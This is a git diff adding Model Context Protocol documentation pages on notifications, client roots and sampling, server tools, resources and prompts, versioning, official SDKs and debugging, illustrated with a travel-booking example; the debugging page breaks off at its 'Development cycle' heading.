+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ session = app.find_mcp_session_for_tool(tool_name)
+ result = await session.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive.
+
+ #### Understanding Tool List Change Notifications
+
+ When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed"
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1).
+
+ 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "tools/list"
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def handle_tools_changed_notification(session):
+ tools_response = await session.list_tools()
+ app.update_available_tools(session, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/2025-03-26/learn/client-concepts.md b/content/mcp/docs/2025-03-26/learn/client-concepts.md
new file mode 100644
index 000000000..e2a53f6c1
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/learn/client-concepts.md
@@ -0,0 +1,150 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Roots
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates sampling
+ Server->>Client: sampling/createMessage
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return approved response
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/2025-03-26/learn/server-concepts.md b/content/mcp/docs/2025-03-26/learn/server-concepts.md
new file mode 100644
index 000000000..f38084cbc
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/learn/server-concepts.md
@@ -0,0 +1,285 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `resources/subscribe` | Monitor resource changes | Subscription confirmation |
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/2025-03-26/learn/versioning.md b/content/mcp/docs/2025-03-26/learn/versioning.md
new file mode 100644
index 000000000..9f1c9cc48
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/learn/versioning.md
@@ -0,0 +1,49 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+## Negotiation
+
+Version negotiation happens during
+[initialization](/specification/2025-03-26/basic/lifecycle#initialization). Clients and
+servers **MAY** support multiple protocol versions simultaneously, but they **MUST**
+agree on a single version to use for the session.
+
+The protocol provides appropriate error handling if version negotiation fails, allowing
+clients to gracefully terminate connections when they cannot find a version compatible
+with the server.
diff --git a/content/mcp/docs/2025-03-26/sdk.md b/content/mcp/docs/2025-03-26/sdk.md
new file mode 100644
index 000000000..da932e981
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
diff --git a/content/mcp/docs/2025-03-26/tools/debugging.md b/content/mcp/docs/2025-03-26/tools/debugging.md
new file mode 100644
index 000000000..081f0356e
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/tools/debugging.md
@@ -0,0 +1,351 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/2025-03-26/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or Streamable HTTP servers, invoke
+ [tools](/specification/2025-03-26/server/tools),
+ [prompts](/specification/2025-03-26/server/prompts), and
+ [resources](/specification/2025-03-26/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [`notifications/message`](/specification/2025-03-26/server/utilities/logging#log-message-notifications)
+ (all transports).
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/2025-03-26/basic/transports#stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[Streamable HTTP transport](/specification/2025-03-26/basic/transports#streamable-http),
+stderr is not captured by the client. Use the log message notifications below,
+your own server-side log aggregation, or standard HTTP tooling (curl, browser
+DevTools Network panel) to inspect requests,
+[`Mcp-Session-Id` headers](/specification/2025-03-26/basic/transports#session-management),
+and SSE streams.
+
+For all [transports](/specification/2025-03-26/basic/transports), you can also
+provide logging to the client by sending a log message notification:
+
+
+ ```python Python theme={null}
+ @server.tool()
+ async def my_tool(ctx: Context) -> str:
+ await ctx.session.send_log_message(
+ level="info",
+ data="Server started successfully",
+ )
+ return "done"
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/2025-03-26/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients can adjust the minimum level at runtime
+via the
+[`logging/setLevel`](/specification/2025-03-26/server/utilities/logging#setting-log-level)
+request.
+
+Important events to log:
+
+* Initialization steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/2025-03-26/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server initialization
+
+Common initialization problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/2025-03-26/tools/inspector)
+4. Verify
+ [protocol compatibility](/specification/2025-03-26/basic/lifecycle#version-negotiation)
+5. Check
+ [capability negotiation](/specification/2025-03-26/basic/lifecycle#capability-negotiation):
+ error [`-32602`](/specification/2025-03-26/basic/lifecycle#error-handling) is
+ the standard JSON-RPC "Invalid params" code and is returned in many
+ contexts. One common cause is a server sending
+ [sampling](/specification/2025-03-26/client/sampling) requests to a
+ client that hasn't declared that capability. Inspect the
+ [`initialize` exchange](/specification/2025-03-26/basic/lifecycle#initialization)
+ to verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
